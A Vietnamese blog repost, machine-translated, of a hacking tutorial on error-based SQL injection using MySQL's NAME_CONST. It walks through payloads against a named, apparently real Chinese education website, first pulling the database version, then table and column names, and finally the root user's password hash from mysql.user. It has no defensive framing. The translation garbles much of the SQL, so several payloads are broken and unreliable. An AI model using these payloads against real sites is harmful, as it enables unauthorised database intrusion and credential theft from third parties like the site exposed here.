lắp mạng cáp quang fpt thái nguyên

[TUT] NAME_CONST SQL Injection [Pics]

Nó được một lúc kể từ khi tôi đã thực hiện một bài hướng dẫn SQL tiêm, vì vậy tôi nghĩ mình nên làm một bài hướng dẫn mới bằng cách sử dụng ...

Nó được một lúc kể từ khi tôi đã thực hiện một bài hướng dẫn SQL tiêm, vì vậy tôi nghĩ mình nên làm một bài hướng dẫn mới bằng cách sử dụng phương pháp name_const. Không có nhiều giấy tờ tài liệu phương pháp này, do đó, nó cảm thấy loại tốt là một để làm cho một hướng dẫn cho nó.

Thông tin


NAME_CONST đã được thêm vào trong MySQL 5.0.12, vì vậy nó sẽ không làm việc trên bất cứ điều gì ít hơn thế.
Mã số:
NAME_CONST (DATA, GIÁ TRỊ)
Trả về giá trị nhất định. Khi được sử dụng để sản xuất một cột tập hợp kết quả, NAME_CONST () gây ra các cột có tên. Các đối số phải là hằng số.

CHỌN NAME_CONST ('TEST', 1)

| --------------- |
| Test |
| |
| --------------- |
| 1 |
| |
| --------------- |

http://dev.mysql.com/doc/refman/5.0/en/m...name-const

Giới thiệu về biến MySQL

Một khi bạn đã có trang web dễ bị tổn thương của bạn, cho phép thử nhận được một số biến hệ thống MySQL sử dụng NAME_CONST.

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 '


Spoiler (Click để ẩn)
[Image: V4jDb.png]


Mã số:
và + 1 = (chọn + * + từ + (chọn + NAME_CONST (VAR, 1), NAME_CONST (VAR, 1)) + là + x) -
VAR = biến MySQL của bạn.

MySQL 5.1.3 Các biến hệ thống máy chủ

Hãy thử nó ra trên trang web của tôi ..

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(vers ion (), 1)) + là + x) -
Lỗi: Duplicate tên cột '5.0.27-community-nt'



Spoiler (Click để ẩn)
[Image: Um5vX.png]
Bây giờ tôi đã thử một vài trang web, và tôi đã nhận được các cuộc gọi không hợp lệ để NAME_CONST cố gắng để trích xuất dữ liệu. Không có gì là sai với cú pháp của tôi, chỉ là sẽ không làm việc ở đó. May mắn thay, họ làm việc ở đây vì vậy hãy nhận này sẽ một lần nữa ...

Khai thác dữ liệu

Mã số:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((​select+DATA+limit+0,1),1))+as+x)--
Chúng tôi sẽ nhận được một bản sao cột 1 lỗi ...

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME _CONST ((Chọn + 1 + hạn + 0,1), 1)) + là + x) -
Lỗi: Duplicate tên cột '1



Spoiler (Click để ẩn)
[Image: hRaSm.png]
Bây giờ chúng ta hãy bàn ra chó cái này ..

Mã số:
+ Và + 1 = (chọn + * + từ + (chọn + NAME_CONST ((chọn + table_name + từ + ema.tables information_sch + nơi + table_schema = cơ sở dữ liệu () + Hạn mức + 0,1), 1), NAME_CONST ((chọn + table_ tên + từ + information_schema.tables + nơi + table_schema = cơ sở dữ liệu () + Hạn mức + 0,1), 1)) + là + x) -
Hãy xem nếu nó hoạt động ở đây, nếu có, chúng tôi có thể đi và kết thúc công việc.

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+info rmation_schema.tables + nơi + table_schema = cơ sở dữ liệu () + hạn + 0,1), 1), NAME_CONST ((se lect + table_name từ + + + information_schema.tables nơi + table_schema = cơ sở dữ liệu () + lim nó + 0,1), 1)) + là + x) -
Lỗi: Duplicate tên cột 'com_admanage



Spoiler (Click để ẩn)
[Image: jQ5Gg.png]
Bây giờ tôi sẽ để được lười biếng và sử dụng mysql.user làm ví dụ, chỉ vì lợi ích của thời gian.

Bạn có thể lấy ra các cột của bảng người dùng ..

Mã số:
+ Và + 1 = (chọn + * + từ + (chọn + NAME_CONST ((chọn + column_name + từ + information_sc hema.columns + nơi + table_name = 0xHEX_OF_TABLENAME + Hạn mức + 0,1), 1), NAME_CONST ((SELEC t + column_name + từ + information_schema + nơi + table_name = 0xHEX_OF_TABLENAM E + hạn + 0,1), 1)) + là + x) -
Vì vậy, tôi trông như thế này, và tôi nhận được tên cột trùng lặp 'Host'.

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+inf ormation_schema.columns + nơi + table_schema = 0x6d7973716c + và + table_name = 0x7573657 2 + hạn + 0,1), 1), NAME_CONST ((chọn + column_name + từ + information_schema + w đây + table_schema = 0x6d7973716c + và + table_name = 0x75736572 + Hạn mức + 0,1), 1)) + là + x) -
Lỗi: Nhân đôi cột tên "Host '



Spoiler (Click để ẩn)
[Image: ykB6F.png]
Woot, thời gian để hoàn thành chó cái này đi.

Mã số:
+ Và + 1 = (chọn + * + từ + (chọn + NAME_CONST ((chọn + concat_ws (0x207e20, COLUMN1, COLU Mn2) + từ + TABLENAME + Hạn mức + 0,1), 1), NAME_CONST ((chọn + concat_ws ( 0x207e20, COLUMN1, COLUMN2) + từ + TABLENAME + Hạn mức + 0,1), 1)) + là + x) -
Vì vậy, tôi trông như thế này ...

Mã số:
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,U ser, Password) + từ + mysql.user + Hạn mức + 0,1), 1), NAME_CONST ((chọn + concat_ws (0x207e2 0, tài khoản, mật khẩu) + từ + mysql.user + Hạn mức + 0,1) , 1)) + là + x) -
Lỗi: Duplicate tên cột 'root ~ * B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



Spoiler (Click để ẩn)
[Image: U472J.png]
Và chúng tôi đã có nó, cảm ơn bạn đã đọc.
Ads Here
Tên

1st,2,8051,3,AAG,1,ADS,2,ADSL,2,AIO,1,Alarm,1,Altcoin,1,AMD,2,Amplifier,4,Android,2,Android TV,3,AOE,1,APG,1,APK,3,ASIC,2,ATX,2,AVG,3,Ấp trứng,2,Bàn phím cơ,1,Bản quyền,1,baner,3,Bảng giá,5,Banggood,1,Báo giá,1,Báo hỏng,1,Bảo Mật,4,BCC,1,BCN,1,Binance,1,Bitcoin,5,Bitmex,1,Bittrex,1,BIX,1,blogger,2,BNB,1,bootrom,1,BTC,4,Build PC,1,ByteCoin,1,cable,1,Cài đặt,3,Cài Win,2,Camera,6,Camera giám sát,3,camera IP,2,Cáp quang,8,Cáp quang Cá nhân,2,Cáp quang Doanh nghiệp,1,Cấu hình máy,1,CCTV,1,Chống nước,1,Clicksense,2,Cloud,1,Cloud camera,2,Code,8,Code web,8,coin,5,Combo,1,Controller,1,Covid-19,9,Công nghệ mới,1,Cryptocurrency,26,Cung hoàng đạo,1,DAG,1,DDos,39,DEEP WEB,3,Dịch vụ FPT,4,DIY,8,Đại Từ,1,Đánh giá,5,Đào coin,6,Đâu là đúng,5,Địa chỉ,1,Điện thoại,2,Điều khiển giọng nói,1,Đồng hồ,1,Electronics,1,English,2,epon,1,ETC,1,ETH,6,Facebook,10,featured,1,Foxy,1,fpt,12,FPT camera,4,FPT internet,3,FPT Play,1,FPT Play Box,32,FPT Playbox,3,FPT Telecom,5,FPT Thái Nguyên,6,FPT TV,1,FPT TV 4K,1,FPT TVOnly,1,fshare,1,G-97D2,3,G97RG6M1,1,Game,2,Game gear,1,Game PC,2,getlink,1,Ghost,2,Ghost Windows 10,2,Ghost Windows 7,7,Gói cá nhân,2,Gói cước,2,Gói cước FPT,8,Gói Doanh Nghiệp,4,Gói kênh FPT Play,1,GPON,3,GPU,2,Hà Nội,1,Hacker,1,Hàn Quốc,1,HBO,1,HG531,2,Hi FPT,3,HiFPT,1,Học Online,1,Hot,15,houbi,3,HT,1,HTC,1,Hướng dẫn,10,Hướng dẫn FPT,8,IC555,4,ICO,3,Ifan,1,Infographic,2,internet,8,Inverter,1,IP tĩnh,1,IPTV,1,ISO,1,K+,1,KCS,1,Key,1,keypad,1,Kho Tut,59,Khuyến mại,10,kích sóng wifi,1,Kiếm tiền trên mạng,1,Kiến thức,2,Kinh nghiệm,1,Lan,1,Laptop,1,Lắp mạng,3,LED,6,leech link,1,Li-Ion,1,Light,1,LM386,1,Love,2,Lừa đảo,1,Ma kết,1,Mạch Audio,1,Mạch điện tử,1,Mạch sạc,5,Mainboard,1,Mạng chậm,1,Mạng internet,3,Mạng LAN,3,Máy ảnh,1,Máy tính,3,Meter,1,Miband,3,Microsoft,1,Minning,4,MMO,3,Mobile,3,Modem,17,Mở két,1,Music,1,Netflix,1,News,7,Ngoại ngữ,1,Nguồn,3,Nvidia,1,offer,1,Office,2,Onedrive,1,Online,1,OS,2,Others,1,Paypal,1,PC,1,PCB,1,PDF,1,Phấn Mễ,1,Phần mềm,2,Phim,1,Phòng nét,1,Photo,1,Phổ Yên,1,Phú Lương,1,Phụ nữ,1,PIC,2,Pin - Ắc qui,4,proxy,1,PUBG,1,Python,4,Remitano,3,Repeater,1,Review,4,Review FPT,2,Root,1,Router,2,Rút gọn link,1,sạc dụng phòng,1,Sạc điện thoại,1,Sàn giao dịch,2,Scam,3,Sensor,2,setup,2,smarthome,1,Softwares,5,sonoff,1,SQL,3,Super 22,2,Tài liệu,182,Tenda Nova MW3,1,Thái Nguyên,19,Thẻ visa,1,Thể thao,1,Thi công,1,Thơ thẩn,3,Thủ thuật,89,Tiền bạc,1,Tiền điện tử,3,Tin FPT,5,Tin tức,41,Tình yêu,4,Tivi box,1,Tivi Gold,1,TNUT,1,Tool,2,Tool đào coin,6,Tools,45,TP Link,1,TP-Link,3,trade coin,8,Trading,1,Transitsor,2,Trâu cày,2,Truyện,3,Truyền hình,4,Truyền hình FPT,30,Tuyển dụng,3,Tư vấn,4,TV Box,3,UG,15,USB,1,USDT,2,VGA,1,Video,1,Viettel,2,Viễn thông,1,Vinaphone,1,Virus,11,VPN,1,Web,1,wifi,17,Wifi Maketting,1,Window XP,3,Windows,4,Windows 10,6,Windows 10 Mobile,1,Windows 7,2,Xiaomi,4,XMR,2,Youtube,1,Zcash,1,Zec,1,
ltr
item
Tổng đài lắp mạng FPT Thái Nguyên |Cáp quang | Wifi | Truyền hình 4K |FPT Play Box: [TUT] NAME_CONST SQL Injection [Pics]
[TUT] NAME_CONST SQL Injection [Pics]
http://i.imgur.com/V4jDb.png
Tổng đài lắp mạng FPT Thái Nguyên |Cáp quang | Wifi | Truyền hình 4K |FPT Play Box
https://www.xn--fptthinguyn-o7a6j.vn/2015/06/tut-nameconst-sql-injection-pics.html
https://www.xn--fptthinguyn-o7a6j.vn/
https://www.xn--fptthinguyn-o7a6j.vn/
https://www.xn--fptthinguyn-o7a6j.vn/2015/06/tut-nameconst-sql-injection-pics.html
true
8240370674769512952
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy